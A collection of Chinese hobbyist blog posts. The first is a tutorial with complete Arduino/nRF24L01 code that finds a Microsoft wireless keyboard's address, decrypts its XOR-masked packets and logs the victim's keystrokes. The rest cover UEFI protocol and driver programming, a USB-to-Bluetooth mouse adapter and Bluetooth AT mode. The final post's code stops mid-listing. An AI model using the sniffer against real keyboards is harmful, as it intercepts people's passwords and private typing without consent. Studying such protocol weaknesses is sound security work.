监听微软键盘

微软推出过一款无线键盘鼠标套装,型号是;Microsoft Wireless Keyboard/Mouse 800。这套键鼠具有反应灵敏,手感细腻,价格适中等等优点,美中不足的是它使用2.4G进行通讯,协议已经被人攻破,可以使用很低的成本搭建一套监听的设备。本文就将介绍如何使用不到5元的 nRF24L01模块加一块Arduino Uno搭建一窃听装置。
image001
本文是根据github 上SamyKamkar 的keysweeper项目写成。代码和实物只是很小的一部分,最重要的是原理。
首先,微软的这个套装键盘使用的是NRF 24LE1H芯片,简单的可以理解成一个单片机加上nRF41L01 模块,这就给我们以可乘之机;
image002
键盘使用的模块通讯方式和最常见的nRF41L01+模块相同,因此这就是整个项目的硬件基础。
image003
使用nRF41L01+模块通讯,有下面几个要求:
1. 通讯速率
2. 使用的频道(也就是频率)
3. 通讯双方的MAC地址
对于1来说,微软键盘只使用2MBps;对于2来说,是通过扫描频率范围来确定的。键盘标签上给出来它在FCC申请注册过的频段是 2403-2480Mhz,我们只需要在这个范围内每隔1MHz扫描即可。因为我们的目标只是监听,键盘作为发射端的MAC不重要,我们只需要知道接收器的MAC即可。当然,这里也是这个项目的技巧和难点所在。
首先说说键盘和接收器的通信格式:
image004

最开始的Preamble,翻译成中文就是“前导码”,是由间隔的0 1构成的一字节,也就是说只能是0x55(0b0101 0101)或者0xAA(0b1010 1010),通讯时通过解析这个可以知道每个bit的长度之类等等信息;前导码后面的Address就是MAC,芯片根据这个信息可以确定是否是发给它的。比如,每一个PC上使用的网卡都会有世界唯一的MAC,当有数据包送到网口,网卡本身通过解析数据包中的MAC得知是否是发送给自己的数据。更通俗的理解,在嘈杂的空间两个人对话,最好的办法是这样喊“老张,XXX”。需要听老张讲话的人听到“老张”,即可留心下面的内容,“老张”就是接收端的MAC。
在nRF41L01+芯片上,有这样的限制:只能监听特定的MAC地址。意思是:你需要设定芯片“听”的具体MAC,它才能把对应的数据传出来。如果你不告诉它接收器的MAC,它是不会对键盘发出来的数据包有响应;经过研究,SamyKamkar 发现了一个有意思的事情,在设置nRF41L01+ 监听MAC的寄存器中,有一个设置监听MAC长度的寄存器(为了灵活,nRF41L01+可以设置不同长度的MAC):
image005
参考2
从上面可以看出,这个芯片能相应的最短的MAC是 3 字节 。但是,根据其他人的实验,如果这里参数设置为 00 实际上是在监听 2字节的 MAC地址。换句话说,如果知道键盘发送的数据包上出现的2个字节的数据,我们就有机会把完整的数据监听下来。其他人继续研究(他们有监听2.4G无线抓包的设备),又发现微软这个键盘MAC最高位是 1 。这样键盘一定会使用 0xAA作为前导码(因为如果使用 0x55有可能和MAC最高的1“粘”在一起,所以只能使用0xAA)。这样,我们知道发送的数据肯定还有一个 0xAA了。还差一个才能凑够2个字节。这时候就有很有意思的事情了:当实际上没有人对芯片“讲话”的时候,芯片还是在工作的,很多时候它会听到0x00或者0xFF。于是,我们可以欺骗IC,让他“听” 0x00AA。芯片一直在接受,它会不断校验“听到”的结果,过滤掉不正确的结果。判断正确与否的方法是CRC,我们关掉这个校验,芯片就会通知我们所有的它听到的信息,我们再校验听到的MAC最低Byte是否为 0xCD(研究发现这个系列的键盘MAC最低Byte位0xCD),也就能知道告诉我们的那些信息是真实有效的。
使用这样欺骗的方法,能够获得真实的接收器的MAC。有了MAC就可以光明正大的监听键盘的通讯了。
对于抓到的键盘数据是有加密的,只是方法非常简单,使用MAC进行XOR运算。
image006
解析解密之后的HID数据,最终我们就可以得到按下信息。
• 设备类型 0x0A = 键盘, 0x08 = 鼠标
• 数据包 0x78 = 按键, 0x38 = 长按
上面就是这个监听装置的原理,硬件连接如下:
image007
nRF24L01+ Arduino Uno
GND GND
VCC 3.3V
CE D9
CSN D8
SCK D13
MOSI D11
MISO D12
IRQ (空)

连接好之后即可使用

根据上面提到的原理编写程序如下:
#include
#define SERIAL_DEBUG 1
#include “nRF24L01.h”
#include “RF24.h”
#include “mhid.h”

#include

// location in atmega eeprom to store last flash write address
#define E_LAST_CHAN 0x05 // 1 byte

// pins on the microcontroller
#define CE 9
#define CSN 8 // normally 10 but SPI flash uses 10

#define csn(a) digitalWrite(CSN, a)
#define ce(a) digitalWrite(CE, a)
#define PKT_SIZE 16
#define MS_PER_SCAN 500

//If you just output the string, please use these to save memory
#define sp(a) Serial.print(F(a))
#define spl(a) Serial.println(F(a))

// Serial baudrate
#define BAUDRATE 115200

// all MS keyboard macs appear to begin with 0xCD [we store in LSB]
uint64_t kbPipe = 0xAALL; // will change, but we use 0xAA to sniff
uint8_t cksum_key_offset = ~(kbPipe >> 8 & 0xFF);

uint8_t channel = 25; // [between 3 and 80]
RF24 radio(CE, CSN);

uint16_t lastSeq = 0;

uint8_t n(uint8_t reg, uint8_t value)
{
uint8_t status;

csn(LOW);
status = SPI.transfer( W_REGISTER | ( REGISTER_MASK & reg ) );
SPI.transfer(value);
csn(HIGH);
return status;
}

// 扫描微软键盘 scans for microsoft keyboards
// 通过下面的方法来加速搜索 we reduce the complexity for scanning by a few methods:
// a) 根据 FCC 认证文件,键盘使用频率是2403-2480MHz
// b) 已知微软键盘使用2Mbps速率通讯
// c) 实验确定这个型号的键盘 MAC第一位是0xCD
// d) 因为键盘的 MAC 以 C (1100)起始,所以前导码应该是 0xAA[10101010],这样我们就不用扫描前导码是0x55的了。【参考1】
// e) 数据区会以 0x0A38/0x0A78 开头,这样我们可以确定这个设备是键盘

void scan()
{
long time;
uint8_t p[PKT_SIZE];
uint16_t wait = 10000;

spl(“scan”);

// FCC 文档说明这款键盘使用 2403-2480MHz 的频率
// http://fccid.net/number.php?fcc=C3K1455&id=451957#axzz3N5dLDG9C
// 读取之前我们存在 EEPROM 中的频率
channel = EEPROM.read(E_LAST_CHAN);

radio.setAutoAck(false); //不需要自动应答
radio.setPALevel(RF24_PA_MIN); //低功耗足够了
radio.setDataRate(RF24_2MBPS); //工作在 2mbps
radio.setPayloadSize(32); //数据长度
radio.setChannel(channel); //通道(频率)

n(0x02, 0x00);
//
//设置 MAC 只有2Bytes
n(0x03, 0x00);

radio.openReadingPipe(0, kbPipe);//使用0通道,监听 image008kbPipe 给出的MAC
radio.disableCRC(); //不使用 CRC
radio.startListening();

//开始扫描
while (1)
{
if (channel > 80) //如果超过最大频率范围
channel = 3; //那么绕回从 2403Mhz 再来

sp(“Tuning to “);
Serial.println(2400 + channel);
radio.setChannel(channel++);

time = millis();
while (millis() – time < wait) //为了节省扫描时间,设定每一个频率都有一个超时 { if (radio.available()) { radio.read(&p, PKT_SIZE); //取下抓到的结果 if (p[4] == 0xCD) //如果MAC最低位是 0xCD,说明我们抓到的是正确的 MAC { sp("Potential keyboard: "); //输出一次可能的数据 for (int j = 0; j < 8; j++) { Serial.print(p[j], HEX); sp(" "); } spl(""); // 从 DataSheet 更可以看到在 MAC后面还有 9 bits 长的 PCF ,为了进一步校验数据,我们需要手工移动整体数据 // 正常通讯的时候,硬件会自动处理掉 PCF 的,也因为这个原因,这里获得的数据和直接指定MAC 抓取的数据看起来不同 // 下面是我们根据对键盘发送格式的了解,判断收到的信号是否为键盘发送 if ((p[6] & 0x7F) << 1 == 0x0A && (p[7] << 1 == 0x38 || p[7] << 1 == 0x78)) { channel--; sp("KEYBOARD FOUND! Locking in on channel "); //找到键盘了 Serial.println(channel); EEPROM.write(E_LAST_CHAN, channel); //记录这次找到的频率,以便下次使用 kbPipe = 0; for (int i = 0; i < 4; i++) //这里就有了真正的键盘的MAC { kbPipe += p[i]; kbPipe <<= 8; } kbPipe += p[4]; //最终的数据CRC MAC是参加计算的,这里只是先计算一下 cksum_key_offset = ~(kbPipe >> 8 & 0xFF);

return;
}

}
}
}

}
}


// 前面扫面结束,我们取得了键盘的真实MAC,这里需要重新设置一下
void setupRadio()
{
  spl("2setupRadio");

  radio.stopListening();
  radio.openReadingPipe(0, kbPipe);   //这里监听真实的 MAC
  radio.setAutoAck(false);			  //不要自动应答
  radio.setPALevel(RF24_PA_MAX); 	  //最大功率监听
  radio.setDataRate(RF24_2MBPS);      //通讯速度还是 2mbps
  radio.setPayloadSize(32);           //听32 Bytes
  radio.enableDynamicPayloads();      
  radio.setChannel(channel);
  n(0x03, 0x03);					  // MAC 长度是 5Bytes
  radio.startListening();
}

uint8_t flush_rx(void)
{
  uint8_t status;

  csn(LOW);
  status = SPI.transfer( FLUSH_RX );
  csn(HIGH);

  return status;
}

void setup()
{

  Serial.begin(BAUDRATE);
   
  spl("Radio setup");
  radio.begin();
  spl("End radio setup");

  //扫描键盘频段和MAC
  scan();
  //重新设置监听真实的 MAC
  setupRadio();
 
}

// 解密数据
void decrypt(uint8_t* p)
{
  for (int i = 4; i < 15; i++)
    // our encryption key is the 5-byte MAC address (pipe)
    // and starts 4 bytes in (header is unencrypted)
    p[i] ^= kbPipe >> (((i - 4) % 5) * 8) & 0xFF;
}

//解析 HID 数据获得按键信息
char gotKeystroke(uint8_t* p)
{
  char letter;
  uint8_t key = p[11] ? p[11] : p[10] ? p[10] : p[9];
  letter = hid_decode(key, p[7]);

  return letter;
} 

void loop(void)
{
    char ch;
    uint8_t p[PKT_SIZE], lp[PKT_SIZE];
    uint8_t pipe_num=0;

	if ( radio.available(&pipe_num) )
	{
		uint8_t sz = radio.getDynamicPayloadSize();    
		//sp("Payload:>");Serial.println(sz);
		
		radio.read(&p, PKT_SIZE);
		flush_rx();
		
                //sp("Raw->");for (int i=0;i<PKT_SIZE;i++) { Serial.print(p[i],HEX); sp(" ");}spl("");
  
		//判断是否和前一个数据是重复的
		if (p[1] == 0x78)
		{
			boolean same = true;
			for (int j = 0; j < sz; j++)
			{
				if (p[j] != lp[j])
				same = false;
				lp[j] = p[j];
			}
			if (same) {
				  return;	//对于重复数据直接丢弃
			}
    }

    // 解密数据
    decrypt(p);
	      
    // 判断数据包,还有数据包上的序号
    if (p[0] == 0x0a && p[1] == 0x78 && p[9] != 0 && lastSeq != (p[5] << 8) + p[4])
    {
      
      lastSeq = (p[5] << 8) + p[4];
      // store in flash for retrieval later
      ch = gotKeystroke(p);
      sp("[");Serial.print(ch);sp("]");
    }
  }
}

 

运行结果
image009
程序只是简单的演示,截获的键盘数据发送到串口显示出来。

参考:
1. https://github.com/samyk/keysweeper/blob/master/keysweeper_mcu_src/keysweeper_mcu_src.ino
2. nRF24L01 DataSheet 2.0 9.1 Register map table

Step to UEFI (103)Protocol 的私有数据

阅读《UEFI原理与编程》,第八章,开发UEFI服务。其中提到了 Protocol的私有数据。
之前我们介绍过 EFI_LOADED_IMAGE_PROTOCOL,在【参考1】的程序中,就有涉及到LOADED_IMAGE_PRIVATE_DATA,简单的说,定义的 PROTOCOL是这个结构体的一部分,就能够找到整个LOADED_IMAGE_PRIVATE_DATA的结构体,从而获得一些额外的信息。
总结一下,这样的私有数据是这样定义的:

#define PROTOCOLNAME_PRIVATE_DATA_SIGNATURE   SIGNATURE_32('p','r','t','9')
typedef struct {
  UINTN     Signature;
  UINTN	    Var1;
  PROTOCOLNAME _PROTOCOL   PROTOCOLNAME;           
} PROTOCOLNAME_PRIVATE_DATA;

#define PROTOCOLNAME _PRIVATE_DATA_FROM_THIS(a) \
     CR(a, PROTOCOLNAME_PRIVATE_DATA, PROTOCOLNAME, PROTOCOLNAME _PRIVATE_DATA_SIGNATURE)

 

在初始化的时候,要创建一个实际的PROTOCOLNAME_PRIVATE_DATA,然后初始化需要的变量,最后像其他的Protocol安装一样,将PROTOCOLNAME_PRIVATE_DATA. PROTOCOLNAME 安装到合适的Handle上即可。
编写代码测试一下,基于之前我们写的 PrintDriver 代码,先修改 Print9.h。加入了下面的定义:

#define PRINT9_PRIVATE_DATA_SIGNATURE   SIGNATURE_32('p','r','t','9')

typedef struct {
  UINTN     Signature;
  UINTN		Var1;
  /// loaded PROTOCOLNAME
  EFI_PRINT9_PROTOCOL   PRINT9;           
} EFI_PRINT9_PRIVATE_DATA;

#define EFI_PRINT9_PRIVATE_DATA_FROM_THIS(a) \
          CR(a, EFI_PRINT9_PRIVATE_DATA, PRINT9, PRINT9_PRIVATE_DATA_SIGNATURE)

 

之后修改print.c。 这个 driver实现的功能很简单,每次调用UnicodeSPrint 函数的时候,会自动显示 EFI_PRINT9_PRIVATE_DATA 中的 Var1,并且增加1.

#include <PiDxe.h>
#include  <Library/UefiLib.h>
#include "Print9.h"
#include <Library/PrintLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/DebugLib.h>
#include <Library/UefiDriverEntryPoint.h>
#include <Library/MemoryAllocationLib.h>
EFI_PRINT9_PRIVATE_DATA  *Image;
EFI_HANDLE  mPrintThunkHandle = NULL;
extern EFI_SYSTEM_TABLE			 *gST;

//Copied from \MdeModulePkg\Library\DxePrintLibPrint2Protocol\PrintLib.c
UINTN
EFIAPI
MyUnicodeSPrint (
  OUT CHAR16        *StartOfBuffer,
  IN  UINTN         BufferSize,
  IN  CONST CHAR16  *FormatString,
  ...
  )
{
  VA_LIST Marker;
  UINTN   NumberOfPrinted=1;
  CHAR16  *Buffer=L"12345678";
  
  VA_START (Marker, FormatString);
  //NumberOfPrinted = UnicodeVSPrint (StartOfBuffer, BufferSize, FormatString, Marker);
  VA_END (Marker);
  
  UnicodeSPrint(Buffer,8,L"%d",Image->Var1);
  gST->ConOut->OutputString(gST->ConOut,Buffer); 
  Image->Var1++;
  return NumberOfPrinted;
}

/**
  The user Entry Point for Print module.

  This is the entry point for Print DXE Driver. It installs the Print2 Protocol.

  @param[in] ImageHandle    The firmware allocated handle for the EFI image.
  @param[in] SystemTable    A pointer to the EFI System Table.

  @retval EFI_SUCCESS       The entry point is executed successfully.
  @retval Others            Some error occurs when executing this entry point.

**/
EFI_STATUS
EFIAPI
PrintEntryPoint (
  IN EFI_HANDLE           ImageHandle,
  IN EFI_SYSTEM_TABLE     *SystemTable
  )
{
	EFI_STATUS  Status=EFI_SUCCESS;

	//
	// Allocate a new image structure
	//
	Image = AllocateZeroPool (sizeof(EFI_PRINT9_PRIVATE_DATA));
	if (Image == NULL) {
		Status = EFI_OUT_OF_RESOURCES;
		goto Done;
	}	
	
    Image->Signature         = PRINT9_PRIVATE_DATA_SIGNATURE;
  
	Image->PRINT9.UnicodeBSPrint=UnicodeBSPrint;
	Image->PRINT9.UnicodeSPrint=MyUnicodeSPrint;
  	Image->PRINT9.UnicodeBSPrintAsciiFormat=UnicodeBSPrintAsciiFormat;	
  	Image->PRINT9.UnicodeSPrintAsciiFormat=UnicodeSPrintAsciiFormat;	
  	Image->PRINT9.UnicodeValueToString=UnicodeValueToString;	
  	Image->PRINT9.AsciiBSPrint=AsciiBSPrint;	
  	Image->PRINT9.AsciiSPrint=AsciiSPrint;	
  	Image->PRINT9.AsciiBSPrintUnicodeFormat=AsciiBSPrintUnicodeFormat;	
  	Image->PRINT9.AsciiSPrintUnicodeFormat=AsciiSPrintUnicodeFormat;	
  	Image->PRINT9.AsciiValueToString=AsciiValueToString;	
	
	Status = gBS->InstallMultipleProtocolInterfaces (
                  &mPrintThunkHandle,
                  &gEfiPrint9ProtocolGuid, 
				  &Image->PRINT9,
                  NULL
                  );
    ASSERT_EFI_ERROR (Status);

Done:

  return Status;
}

 

测试这个 Protocol 使用的还是之前的 pdt.efi,运行结果如下:

stu103

完整的代码下载

printdriver3

参考:
1. Step to UEFI (48) —– 被加载程序的ENTRYPOINT

Arduino打造 USB转蓝牙鼠标的装置

去年的这个时候,我做了一个 USB键盘转蓝牙的装置【参考1】,有很多朋友根据我的方法成功制作出自己的转接装置。本文将介绍如何用Arduino打造一个USB鼠标转蓝牙的装置。

从原理上来说,Arduino 通过 USB Host Shield 驱动 USB 鼠标,将其切换为 Boot Protocol 模式,该模式下鼠标会用固定的格式和Arduino通讯,这样避免了不同设备需要单独解析 HID Protocol的问题 。之后,Arduino将解析出来的鼠标动作通过串口,以规定的格式告知蓝牙模块,最后在手机或者电脑端即可以蓝牙鼠标的方式进行动作。

usbtobluetooth

使用的硬件如下

Arduino Uno  1块
USB Host Shield

 

1块
带面包板的Shield板

 

1块
XM-04-HID-M 蓝牙HID鼠标模块 1块
18650电池(选配)

 

2节
18650 电池盒(选配) 1个

 

最主要的配件如下

 

image004

和之前的键盘转接装置相比,最大的不同在于本文代码使用了USB Host Shield 2.0的库,大量的底层操作都被封装起来,编程上非常简单,完全可以专注于“做什么”而不是“如何做”,这也是 Arduino的魅力所在。

代码需要用到 USB Host Shield2.0这个库,安装的方法很简单,打开 Sketch->Include Library->Manage Libraries 调出 Library Manager,直接搜索 “USB Host”字样,然后点击Install即可。

(我们需要安装的是 USB Host Shield Library 2.0,这是用起来驱动 USB Host Shield的。另外那个 USBHost是给Due 用的)

image003

USB Host 解析出来的鼠标数据格式如下:

struct MOUSEINFO {

 

struct {

uint8_t bmLeftButton : 1;        //鼠标左键按下标记

uint8_t bmRightButton : 1;     //鼠标右键按下标记

uint8_t bmMiddleButton : 1; //鼠标中键按下标记

uint8_t bmDummy : 5;            //保留

};

int8_t dX;         //水平方向移动偏移

int8_t dY;         //垂直方向移动偏移

};

 

Arduino和蓝牙模块是通过串口进行通讯的,通讯报文长为8字节,每个字节分别如下【参考3】:

BYTE1 0x08 固定值(包长度)
BYTE2 0x00 固定值
BYTE3 0xA1 固定值
BYTE4 0x02 固定值
BYTE5 Button 1/2/3
BYTE6 X-Axis(-127~127)
BYTE7 Y-Axis(-127~127)
BYTE8 Whell (-127~+127)

 

我们需要做的只是将USB HOST 解析出来的MOUSEINFO转发给串口模块即可。

#include <hidboot.h>

#include <SPI.h>

 

#define BIT0  1

#define BIT1  2

#define BIT2  4

 

class MouseRptParser : public MouseReportParser

{

protected:

         void OnMouseMove     (MOUSEINFO *mi);

         void OnLeftButtonUp   (MOUSEINFO *mi);

         void OnLeftButtonDown      (MOUSEINFO *mi);

         void OnRightButtonUp (MOUSEINFO *mi);

         void OnRightButtonDown    (MOUSEINFO *mi);

         void OnMiddleButtonUp      (MOUSEINFO *mi);

         void OnMiddleButtonDown         (MOUSEINFO *mi);

};

 

void SendToBT(MOUSEINFO *mi)

{

     byte  Button=0;

    

     if (mi->bmLeftButton)

       Button |= BIT0;

     else

       Button & !BIT0;

      

      if (mi->bmRightButton)

       Button |= BIT1;

     else

       Button & !BIT1;

      

      if (mi->bmMiddleButton)

       Button |= BIT2;

     else

       Button & !BIT2;

    

     /*

     Serial.println("L Mouse Move");

     Serial.print("dx=");

     Serial.print(mi->dX, DEC);

     Serial.print(" dy=");

     Serial.println(mi->dY, DEC);

     Serial.println(Button,DEC);

     */

   

   

     Serial.write(0x08);  //BYTE1    

     Serial.write(0x00);  //BYTE2

     Serial.write(0xA1);  //BYTE3

     Serial.write(0x02);  //BYTE4

     Serial.write(Button);  //BYTE5        

     Serial.write(mi->dX);  //BYTE6        

     Serial.write(mi->dY);  //BYTE7

     Serial.write(0);  //BYTE8          

}

 

void MouseRptParser::OnMouseMove(MOUSEINFO *mi)

{

    SendToBT(mi);

};

void MouseRptParser::OnLeftButtonUp   (MOUSEINFO *mi)

{

    //Serial.println("L Butt Up");

    SendToBT(mi);   

};

void MouseRptParser::OnLeftButtonDown       (MOUSEINFO *mi)

{

    //Serial.println("L Butt Dn");

    SendToBT(mi);   

};

void MouseRptParser::OnRightButtonUp (MOUSEINFO *mi)

{

    //Serial.println("R Butt Up");

    SendToBT(mi);   

};

void MouseRptParser::OnRightButtonDown    (MOUSEINFO *mi)

{

    //Serial.println("R Butt Dn");

    SendToBT(mi);

};

void MouseRptParser::OnMiddleButtonUp      (MOUSEINFO *mi)

{

    //Serial.println("M Butt Up");

    SendToBT(mi);

};

void MouseRptParser::OnMiddleButtonDown          (MOUSEINFO *mi)

{

    //Serial.println("M Butt Dn");

    SendToBT(mi);   

};

 

USB     Usb;

 

HIDBoot<HID_PROTOCOL_MOUSE>    HidMouse(&Usb);

 

uint32_t next_time;

 

MouseRptParser                               Prs;

 

void setup()

{

    Serial.begin( 115200 );

    Serial.println("Start");

 

    if (Usb.Init() == -1)

        Serial.println("OSC did not start.");

 

    delay( 200 );

 

    next_time = millis() + 5000;

 

    HidMouse.SetReportParser(0,(HIDReportParser*)&Prs);

}

 

void loop()

{

  Usb.Task();

}

 

 

最终的成品,Arduino和其他Shield堆叠起来,使用电池独立供电

image002

特别注意的地方:

  1. 如果使用USB 供电,Arduino可能会遇到供电不足的问题(外围有USB Host Shield / USB Mouse / Bluetooth),解决办法是直接从圆形 DC 口接入电池,这就是本文使用18650电池的原因;
  2. 本文使用的蓝牙模块并非普通的串口蓝牙(HC05/06),而是专门的蓝牙鼠标模块。之前制作USB键盘转接设备的时候,很多朋友没有注意,购买的是 HC05/06这样的蓝牙串口模块,最后只得重新购买。关于蓝牙鼠标模块的更多信息可以在之前的介绍中看到【参考2】;
  3. 蓝牙 HID 模块默认波特率只有是 9600,在操作时有明显卡顿,需要对其下 AT 命令,将波特率升到 115200。

 

参考:

  1. http://www.arduino.cn/thread-17412-1-1.html U2B: USB键盘转蓝牙键盘的设备
  2. http://www.arduino.cn/thread-22076-1-1.html 介绍一个蓝牙鼠标模块
  3. XM-04-HID-M 蓝牙HID鼠标模块规格书0

Step to UEFI (102)Application 释放Driver

Windows下是不允许应用程序直接访问硬件的,必须通过驱动。类似 RW Everything这样的需要访问硬件的工具实际上是自带驱动的,当运行应用程序的时候会自动把驱动释放出去,然后通过加载驱动的方式再进行硬件的访问的。本文就介绍一下,如何在UEFI 中实现同样的功能。
我们有之前做出来的PrintDriver,用一个 Application 在编译期将它包进去,然后运行期释放到硬盘上,然后Load之,再按照Protocol的方式调用。
特别注意的地方是:我将之前的 PrintDriver.efi 用工具转换为C的字节定义,放在文件头中。用 Const 定义,保证它编译后会处于 .rdata段中。

代码如下:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Library/ShellLib.h>

#include "Print9.h"

EFI_GUID gEfiPrint9ProtocolGuid =
		{ 0xf05976ef, 0x83f1, 0x4f3d, 
			{ 0x86, 0x19, 0xf7, 0x59, 
				0x5d, 0x41, 0xe5, 0x61 } };

							
extern EFI_BOOT_SERVICES         *gBS;
extern EFI_SYSTEM_TABLE			 *gST;
extern EFI_RUNTIME_SERVICES 	 *gRT;

extern EFI_HANDLE 					 gImageHandle;

const CHAR8 MyDriver[] ={
#include	"Mydriver.h"
};

int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
	EFI_PRINT9_PROTOCOL	*Print9Protocol;
	CHAR16			  *Buffer=L"12345678";
	RETURN_STATUS     Status;
	EFI_FILE_HANDLE   FileHandle;
	UINTN			  FileSize=sizeof(MyDriver);
	EFI_HANDLE        *HandleBuffer=(EFI_HANDLE)&MyDriver;
	CHAR16	  		  *CommandLine=L"load MyDriver.efi";
	EFI_STATUS  	  CmdStat;
  
    Print(L"Length of driver = %d \n",sizeof(MyDriver));

	//Create a new file
	Status = ShellOpenFileByName(L"MyDriver.efi", 
                               (SHELL_FILE_HANDLE *)&FileHandle,
                               EFI_FILE_MODE_READ |
							   EFI_FILE_MODE_WRITE|
							   EFI_FILE_MODE_CREATE, 
							   0);  
	if(Status != RETURN_SUCCESS) {
			Print(L"CreatFile failed [%r]!\n",Status);
			return EFI_SUCCESS;
      }	

	Status = ShellWriteFile(FileHandle,
			&FileSize,
			HandleBuffer
			);
	if(Status != RETURN_SUCCESS) {
			Print(L"Writefile failed [%r]!\n",Status);
			return EFI_SUCCESS;
      }				
    Print(L"Driver has been released to the disk!\n");	  
	
	//Close the source file
	ShellCloseFile(&FileHandle);
  
    Status = ShellExecute( &gImageHandle, CommandLine, FALSE, NULL, &CmdStat);
	if(Status != RETURN_SUCCESS) {
			Print(L"Driver load error!\n",Status);
			return EFI_SUCCESS;
      }		
	  
	// Search for the Print9 Protocol
    //
    Status = gBS->LocateProtocol(
      &gEfiPrint9ProtocolGuid,
      NULL,
      (VOID **)&Print9Protocol
     );
    if (EFI_ERROR(Status)) {
      Print9Protocol = NULL;
	  Print(L"Can't find Print9Protocol.\n");
	  return EFI_SUCCESS;
     }
	Print(L"Find Print9Protocol.\n"); 
	Print9Protocol->UnicodeSPrint(Buffer,8,L"%d",200);
	Print(L"%s\n",Buffer); 
	
	return EFI_SUCCESS;
}

 

运行结果:
stu102

第一次加载失败的原因是因为当时处于 shell 下面,没有盘符,这样无法正常释放文件。第二次,在fsnt0: 下运行,驱动正常释放,可能够正常加载。所以取得了期望的结果。
最后提一下,PE格式段的问题。打开一个代码,比如之前测试驱动的Application PDT.EFI,查看编译期生成的 pdt.map :
Preferred load address is 00000000

Start Length Name Class
0001:00000000 000045e5H .text CODE
0002:00000000 0000186eH .rdata DATA
0002:00001870 0000006bH .rdata$debug DATA
0003:00000000 00000350H .data DATA
0003:00000360 00002850H .bss DATA

这些段的含义如下【参考1】:
.text 可执行代码段
数据段.bss、.rdata、.data
.rdata段表示只读的数据,比如字符串文字量、常量和调试目录信息。
.bss段表示应用程序的未初始化数据,包括所有函数或源模块中声明为static的变量。
.data段存储所有其它变量(除了出现在栈上的自动变量)。基本上,这些是应用程序或模块的全局变量。
所以我们希望,定义的数据段出现在 rdata 中,再查看我们的 pdt2.map,其中的 rdata段因为包括了我们定义的 Driver长度明显变大了。
Preferred load address is 00000000

Start Length Name Class
0001:00000000 000046c5H .text CODE
0002:00000000 00002e16H .rdata DATA
0002:00002e18 0000006eH .rdata$debug DATA
0003:00000000 00000350H .data DATA
0003:00000360 00002850H .bss DATA

完整的代码下载:
pdt2

参考:
1. http://blog.csdn.net/feidegengao/article/details/16966357 PE文件格式详解(下)

蓝牙模块进入 AT 模式

一般的蓝牙模块,进入 AT 模式进行设置的方式很简单,就是直接用电线连接之后在PC上发送AT Command 即可。如果有问题,需要检查下面三个方面:
1. 供电,最好用自带供电的串口模块,用它直接给蓝牙模块供电;
2. 串口连接,RX/TX需要交叉,波特率需要匹配,一般默认都是9600
3. 发送命令需要特别的后缀,有些是回车,有些是换行,大多数是回车加换行。你可以直接使用 Arduino 的串口监视器
image002
如果用其他工具,那么需要十六进制发送,手工加上需要的后缀
4. 通常的模块都支持 AT 命令,建议用这个命令直接测试,应该能收到回复 OK

如果上述检查多次,仍然不响应 AT 命令,那么很可能是你用的模块需要特殊的方式才能进入AT 模式(也有称作“命令模式”)。比如,我在使用的蓝牙鼠标模块。我按照上述方法检查过无数次,最终还是再次研读Spec。发现有一组红色标记的字。
image004
转念一想,这个说的可能是这个模块一种特殊的状态,应该有什么方式能进入这个状态中,再回到前面仔细阅读,发现PIO3是很特别的引脚。
image006
我拿到的是已经焊接在底板上的蓝牙模块
image008
最后,需要用导线短路一下Pin12和Pin26,然后模块才能正常响应AT 命令。

所以,如果遇到了问题,最好认真阅读卖家提供的 Datasheet。其实,最快捷的还是直接问卖家,当然,大多数情况下你无法从卖家得到答案。

Step to UEFI (101)Application 驻留内存

前面一篇文章提到“提供服务的代码需要常驻内存,一般的 Application 是不会常驻内存的,而驱动直接可以常驻内存”。普通的Application 不能常驻内存,但是可以做个特殊的Application 来完成这个功能,之前的文章【参考1】我们尝试过写一个能够一直在 Shell 右上角显示当前时间的程序。结合前面的Protocol安装的驱动代码,我们做一个安装Protocol的Application。

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>

#include  <stdio.h>
#include  <stdlib.h>
#include  <wchar.h>
#include  <time.h>
#include <Protocol/EfiShell.h>
#include <Library/ShellLib.h>
#include <Library/PrintLib.h>
#include <Protocol/SimpleFileSystem.h>
#include <Protocol/BlockIo.h>
#include <Library/DevicePathLib.h>
#include <Library/HandleParsingLib.h>
#include <Library/SortLib.h>
#include <Library/MemoryAllocationLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/DebugLib.h>
#include <Protocol/LoadedImage.h>

#include "Print9.h"

extern EFI_BOOT_SERVICES         *gBS;
extern EFI_SYSTEM_TABLE			 *gST;
extern EFI_RUNTIME_SERVICES 	 *gRT;

extern EFI_SHELL_ENVIRONMENT2    *mEfiShellEnvironment2;
extern EFI_HANDLE				 gImageHandle;

typedef struct {
  UINTN                       Signature;
  /// Image handle
  EFI_HANDLE                  Handle;   
  /// Image type
  UINTN                       Type;           
  /// If entrypoint has been called
  BOOLEAN                     Started;        
  /// The image's entry point
  EFI_IMAGE_ENTRY_POINT       EntryPoint;     
  /// loaded image protocol
  EFI_LOADED_IMAGE_PROTOCOL   Info; 
} LOADED_IMAGE_PRIVATE_DATA_TEMP;

EFI_GUID gEfiPrint9ProtocolGuid=
	{ 0xf05976ef, 0x83f1, 0x4f3d, 
	{ 0x86, 0x19, 0xf7, 0x59, 0x5d, 0x41, 0xe5, 0x61 } };

#define _CR(Record, TYPE, Field)  ((TYPE *) ((CHAR8 *) (Record) - (CHAR8 *) &(((TYPE *) 0)->Field)))

#define LOADED_IMAGE_PRIVATE_DATA_FROM_THIS(a) \
          _CR(a, LOADED_IMAGE_PRIVATE_DATA_TEMP, Info)

CONST EFI_PRINT9_PROTOCOL mPrint9Protocol = {
  UnicodeBSPrint,
  UnicodeSPrint,
  UnicodeBSPrintAsciiFormat,
  UnicodeSPrintAsciiFormat,
  UnicodeValueToString,
  AsciiBSPrint,
  AsciiSPrint,
  AsciiBSPrintUnicodeFormat,
  AsciiSPrintUnicodeFormat,
  AsciiValueToString
};

EFI_LOADED_IMAGE_PROTOCOL          *ImageInfo = NULL;
  
typedef void (*Fun)();

void function()
{
  EFI_STATUS  Status;

  Status = gBS->InstallMultipleProtocolInterfaces (
                  &gImageHandle,
                  &gEfiPrint9ProtocolGuid, 
				  &mPrint9Protocol,
                  NULL
                  );
  ASSERT_EFI_ERROR (Status);
}


int
EFIAPI
main (                                         
  IN int Argc,
  IN char **Argv
  )
{
  EFI_STATUS                         Status = EFI_SUCCESS;
  EFI_HANDLE                         Handle = 0;
